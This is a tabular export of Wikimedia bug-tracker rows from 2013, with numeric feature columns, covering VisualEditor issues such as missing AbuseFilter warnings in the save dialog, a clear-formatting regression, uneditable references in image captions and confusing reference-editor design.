Has this actually been deployed? I just tested, and the error message has changed (it now reads ""invalid error code"", while it used to read ""Error: the notification you have made was aborted by an extension hook""). If that was the fix, I think it's pretty obvious that it's incomplete, as it still isn't displaying the warning from the edit filter.",,,1373385258,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,1.0,3.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,7.0,8.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,6.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,5.0,6.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,8.0,1.0,1.0,5.0,0.0,9.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.604651162790698,0.7209302325581395,"**kwwilliams** wrote:

Has this actually been deployed? I just tested, and the error message has changed (it now reads ""invalid error code"", while it used to read ""Error: the notification you have made was aborted by an extension hook""). If that was the fix, I think it's pretty obvious that it's incomplete, as it still isn't displaying the warning from the edit filter."
241131,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 50828 has been marked as a duplicate of this bug. ***,,,1373054299,,PHID-USER-jnta3z3spxto3vbxdngm,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50828 has been marked as a duplicate of this bug. ***
241126,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"(In reply to comment #2)
> I strongly, strongly object to the categorization of this as an
> ""enhancement"".

""Enhancement"" does not mean ""not going to be done soon""; it merely means that this is not a feature that's meant to be currently working, but instead, a feature we'd like to add.

This feature in particular is on our immediate work list, and hopefully will be done in the next week or so.",,,1372952430,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,2.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,6.0,1.0,4.0,6.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,4.0,11.0,1.0,0.0,5.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.375,0.7125,"(In reply to comment #2)
QUOTE
QUOTE

""Enhancement"" does not mean ""not going to be done soon""; it merely means that this is not a feature that's meant to be currently working, but instead, a feature we'd like to add.

This feature in particular is on our immediate work list, and hopefully will be done in the next week or so."
241118,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:

I strongly, strongly object to the categorization of this as an ""enhancement"". This is a basic feature that needs to be addressed. There aren't many edit filters that block edits, but when an editor trips one of the ones that does, its important that he have an idea as to what to fix. There's no place for an editor to even begin looking to find out what is happening and what it is about his edit that is causing it to fail. It's not really even obvious from the message that it's a content issue.",,,1372952091,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,1.0,0.5,1.5,2.5,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.5,0.5,0.0,5.5,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,1.0,2.0,0.0,10.0,0.5,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.0,6.0,4.0,3.0,2.0,1.5,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,6.0,13.0,0.5,0.0,1.0,0.0,6.0,0.0,5.5,4.0,0.0,2.5,0.0,0.0,0.0,3.648158971361777,0.7261835184102864,"**kwwilliams** wrote:

I strongly, strongly object to the categorization of this as an ""enhancement"". This is a basic feature that needs to be addressed. There aren't many edit filters that block edits, but when an editor trips one of the ones that does, its important that he have an idea as to what to fix. There's no place for an editor to even begin looking to find out what is happening and what it is about his edit that is causing it to fail. It's not really even obvious from the message that it's a content issue."
241111,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 50719 has been marked as a duplicate of this bug. ***,,,1372921240,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50719 has been marked as a duplicate of this bug. ***
52471,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),"Screenshot

See screenshot. Firefox 21.0, Windows XP. As well as misplacing the toolbar it's also hiding the 'create new source' on articles with lots of sources.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11391}",High,80.0,1372617600,1373852943.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-3yckz2spdz6vwpvvlsja,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,6.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7580645161290325,0.6774193548387096,"Screenshot

See screenshot. Firefox 21.0, Windows XP. As well as misplacing the toolbar it's also hiding the 'create new source' on articles with lots of sources.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11391}"
241080,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),Roan fixed this in his mega-CSS-rewrite.,,,1373852943,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3yckz2spdz6vwpvvlsja,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.9090909090909091,Roan fixed this in his mega-CSS-rewrite.
241075,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),*** Bug 50455 has been marked as a duplicate of this bug. ***,,,1372620610,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3yckz2spdz6vwpvvlsja,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50455 has been marked as a duplicate of this bug. ***
241072,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),"Renamed (aka, I hate ResourceLoader's caching, some times :-().",,,1372620482,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3yckz2spdz6vwpvvlsja,task_subcomment,,True,c1,2,True,,,-1,,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,"Renamed (aka, I hate ResourceLoader's caching, some times :-()."
52461,VisualEditor: Clear annotations icon no longer clearing link annotations,"The formatting icons of the VisualEditor toolbar are currently ""B"" for bold, ""I"" for italics, the chain for links and the remove icon to clear formatting.

This series of icon seems to indicate that links are a kind of formatting. However; ""Clear formatting"" doesn't affect links; it only removes bold and italics.

Either links *are* a kind of formatting, and the ""Clear formatting"" action should remove them, or they aren't, and the Link icon shouldn't stand in the middle of icons that add and clear formatting. The current order and behavior are confusing.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372600920,1373930966.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-xid2rg44chmbsuqujmzr,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,2.0,6.5,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,0.5,4.0,3.5,6.5,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,2.0,0.0,0.5,0.0,0.5,0.5,12.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.0,3.0,7.5,0.5,5.0,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,6.5,1.5,0.0,4.5,0.0,2.5,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,3.927536231884058,0.6086956521739131,"The formatting icons of the VisualEditor toolbar are currently ""B"" for bold, ""I"" for italics, the chain for links and the remove icon to clear formatting.

This series of icon seems to indicate that links are a kind of formatting. However; ""Clear formatting"" doesn't affect links; it only removes bold and italics.

Either links *are* a kind of formatting, and the ""Clear formatting"" action should remove them, or they aren't, and the Link icon shouldn't stand in the middle of icons that add and clear formatting. The current order and behavior are confusing.

--------------------------
**Version**: unspecified
**Severity**: normal"
240626,VisualEditor: Clear annotations icon no longer clearing link annotations,Fixed and will go out in a few minutes.,,,1373930966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,True,,,2,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,Fixed and will go out in a few minutes.
240619,VisualEditor: Clear annotations icon no longer clearing link annotations,"Change 73896 merged by jenkins-bot:
Compare annotations by name only when clearing/toggling

https://gerrit.wikimedia.org/r/73896",,,1373930577,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.65,0.95,"Change 73896 merged by jenkins-bot:
Compare annotations by name only when clearing/toggling

GERRIT_URL"
240611,VisualEditor: Clear annotations icon no longer clearing link annotations,"Change 73896 had a related patch set uploaded by Esanders:
Compare annotations by name only when clearing/toggling

https://gerrit.wikimedia.org/r/73896",,,1373929632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.826086956521739,0.9565217391304348,"Change 73896 had a related patch set uploaded by Esanders:
Compare annotations by name only when clearing/toggling

GERRIT_URL"
240605,VisualEditor: Clear annotations icon no longer clearing link annotations,*** Bug 51018 has been marked as a duplicate of this bug. ***,,,1373504485,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51018 has been marked as a duplicate of this bug. ***
240600,VisualEditor: Clear annotations icon no longer clearing link annotations,This is a regression; it used to work fine - relabelling as such.,,,1372611822,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.533333333333333,1.0,This is a regression; it used to work fine - relabelling as such.
52459,VisualEditor: References in media captions appear but aren't editable or successfully insertable,"It is currently not possible to add a reference to an image/media caption, nor to edit existing ones.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52427
https://bugzilla.wikimedia.org/show_bug.cgi?id=49657",High,80.0,1372597320,1380835418.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4038461538461537,0.6153846153846154,"It is currently not possible to add a reference to an image/media caption, nor to edit existing ones.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
240503,VisualEditor: References in media captions appear but aren't editable or successfully insertable,*** Bug 54949 has been marked as a duplicate of this bug. ***,,,1380844957,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54949 has been marked as a duplicate of this bug. ***
240497,VisualEditor: References in media captions appear but aren't editable or successfully insertable,This was completed as part of the NewFromDocumentReplace work that Roan did last week.,,,1380835418,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.866666666666666,1.0,This was completed as part of the NewFromDocumentReplace work that Roan did last week.
240490,VisualEditor: References in media captions appear but aren't editable or successfully insertable,"Changing this to reflect that now references do appear in the toolbar for media items, but can't be inserted or edited (and the list of existing references to insert is blank - suggests something's pointed at the wrong document/etc.?).",,,1379657377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,True,,,11,,0.0,2.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,2.0,2.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.020408163265306,0.8979591836734694,"Changing this to reflect that now references do appear in the toolbar for media items, but can't be inserted or edited (and the list of existing references to insert is blank - suggests something's pointed at the wrong document/etc.?)."
240481,VisualEditor: References in media captions appear but aren't editable or successfully insertable,"bug 51992 comment 0 :
http://en.wikipedia.org/wiki/User:Kww/fileref is about as simple of a testcase
as I could develop. Given this structure:

[[File:Red Wine Glass.jpg|thumb|upright|A ""large"" (250&nbsp;ml) glass of
12%&nbsp;ABV red wine has about three units of alcohol. A ""medium""
(175&nbsp;ml) glass, such as the one shown, has about two units.<ref> Even
though the sizes of wine glasses are defined in UK law, the terms ""large"",
""medium"", ""standard"" etc are not defined in law.</ref>]]


There's no way to edit the reference.

----------------
bug 51992 comment 1 :
Simpler illustration, still in http://en.wikipedia.org/wiki/User:Kww/fileref

I don't think it's possible to edit that pesky footnote.
[[File:Red Wine Glass.jpg|thumb|upright|description<ref>pesky footnote</ref>]]

{{reflist}}",,,1374702671,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,1.0,6.0,0.5,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.5,1.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,1.5,9.5,0.5,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,4.5,0.0,1.5,7.0,7.0,0.0,5.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,5.5,3.6647058823529415,0.6823529411764706,"bug 51992 comment 0 :
URL is about as simple of a testcase
as I could develop. Given this structure:

[[File:Red Wine Glass.jpg|thumb|upright|A ""large"" (250&nbsp;ml) glass of
12%&nbsp;ABV red wine has about three units of alcohol. A ""medium""
(175&nbsp;ml) glass, such as the one shown, has about two units.<ref> Even
though the sizes of wine glasses are defined in UK law, the terms ""large"",
""medium"", ""standard"" etc are not defined in law.</ref>]]


There's no way to edit the reference.

----------------
bug 51992 comment 1 :
Simpler illustration, still in URL

I don't think it's possible to edit that pesky footnote.
[[File:Red Wine Glass.jpg|thumb|upright|description<ref>pesky footnote</ref>]]

{{reflist}}"
240476,VisualEditor: References in media captions appear but aren't editable or successfully insertable,*** Bug 51992 has been marked as a duplicate of this bug. ***,,,1374702531,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51992 has been marked as a duplicate of this bug. ***
52458,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Screenshot1

There are, I think, some UI improvements to be made to the reference editor - User:Popcornduff gets credit for these :).

When you first open the reference editor, you're presented with something like screenshot 1, which asks you ""What do you want to reference?"" If the user is coming to try and add a new reference, this is highly confusing - the first UI element they're presented with prompts them to put time into a series of actions that cannot possibly end with them finding what they want. The cue also doesn't make clear to any user what the search bar is actually doing - filtering existing references. It seems like the blurb here might need changing to align it with what the search bar actually does; ""search existing references on this page""?

If you click ""create new source"", absolutely nothing happens - it's a highlightable element, and after a bit you can puzzle out that it unlocks ""create reference"", but it's not immediately clear. Still, you end up with it highlighted (see screenshot2). The blurb in ""insert reference"" is rather confusing; what am I inserting? I'm here to /add/ a new reference, I haven't written it out yet. My suggestion would be to have ""create new source"" take you straight to the source creation interface using a one-click mechanism, rather than having it free up ""insert no references"".

Still, you click it, and you get to screenshot3, of a window tagged ""reference content"". Quoth the user, ""Is it reference the verb - am I referencing content here? Or am I giving content to the reference?

What is the Options heading all about, and what does ""Use this group"" mean?

I have a little window here to type into. I'm not sure what to type. Do I just write out my reference in Wikimarkup and click ""Apply changes""? Or do I write them out as if I'm writing a list of references at the end of an essay?

At this point I'm really disappointed. I was hoping to be given a complete list of individual fields to fill out - a box for author, a box for date, a box for date accessed, a box for the title, a box for the URL, and so on - and have this generate the reference nicely for me. Instead, I seem to have the old system in a confusing UI.""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51848
https://bugzilla.wikimedia.org/show_bug.cgi?id=53590

